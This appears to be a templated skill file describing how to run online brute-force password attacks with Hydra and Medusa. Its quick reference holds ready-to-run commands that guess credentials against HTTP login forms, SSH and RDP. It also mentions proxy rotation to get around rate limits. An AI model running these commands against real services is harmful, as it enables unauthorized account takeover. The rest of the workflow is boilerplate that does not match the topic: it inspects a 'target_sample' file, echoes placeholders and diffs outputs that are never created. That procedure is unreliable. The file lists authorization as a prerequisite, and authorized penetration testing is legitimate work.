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<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
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---
name: performing-online-brute-force
description: >-
  Perform online brute force attacks against network services with rate limiting, proxy rotation, and credential management.
domain: cybersecurity
subdomain: password-cracking
tags:
  - brute-force
  - hydra
  - medusa
  - online-attack
  - rate-limiting
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1110.001"]
  cwe: ["CWE-307"]
  tools: ["Hydra", "Medusa", "Ncrack", "Patator", "BurpSuite"]
---

# Performing Online Brute Force

## Overview

Perform online brute force attacks against network services with rate limiting, proxy rotation, and credential management.

## Prerequisites

| Tool / Requirement | Details |
|---|---|
| `Hydra` | Security tooling |
| `Medusa` | Security tooling |
| `Ncrack` | Security tooling |
| `Patator` | Security tooling |
| `BurpSuite` | Security tooling |
| Isolated lab environment for testing | Environment requirement |
| Authorization and signed Rules of Engagement (RoE) | Environment requirement |
| Relevant target samples or systems acquired through authorized channels | Environment requirement |

## Quick Reference

```bash
# HTTP POST brute force
hydra -l admin -P passwords.txt target.com http-post-form \
    "/login:user=^USER^&pass=^PASS^:Invalid credentials"

# SSH brute force
hydra -L users.txt -P passwords.txt ssh://target.com -t 4

# RDP brute force
hydra -L users.txt -P passwords.txt rdp://target.com

# Medusa with threading
medusa -h target.com -U users.txt -P passwords.txt -M ssh -t 4
```

## Workflow

### Step 1: Preparation and Reconnaissance

```bash
# Identify target and gather initial intelligence
file ./target_sample
hydra --version 2>/dev/null || echo "Install Hydra"

# Set up working directory
mkdir -p /tmp/performing-online-brute-force/{output,logs,artifacts}
```

### Step 2: Primary Analysis

```bash
# Execute primary analysis with Hydra
# Refer to Quick Reference above for detailed commands
echo "[*] Running Performing Online Brute Force with Hydra..."

# Log all operations
script -q /tmp/performing-online-brute-force/logs/session.log
```

### Step 3: Deep Investigation

```bash
# Apply Medusa for secondary analysis
echo "[*] Deep investigation with Medusa..."

# Cross-reference findings
diff /tmp/performing-online-brute-force/output/primary.json /tmp/performing-online-brute-force/output/secondary.json
```

### Step 4: Documentation and Reporting

```bash
# Generate structured findings report
cat <<'EOF' > /tmp/performing-online-brute-force/output/report.json
{
  "technique": "performing-online-brute-force",
  "domain": "password-cracking",
  "tools_used": ["Hydra", "Medusa"],
  "findings": [],
  "recommendations": []
}
EOF
```

## Verification

- [ ] Environment and tools verified and operational
- [ ] Target samples acquired through authorized channels
- [ ] Primary analysis completed with findings documented
- [ ] Secondary validation performed with independent tooling
- [ ] All artifacts preserved in structured output directory
- [ ] Detection opportunities documented for blue team

## References

- [MITRE ATT&CK T1110.001](https://attack.mitre.org/techniques/T1110/001) — Related technique
- [Hydra Documentation](https://hydra.org/) — Primary tooling
- [Medusa Reference](https://medusa.org/) — Secondary tooling
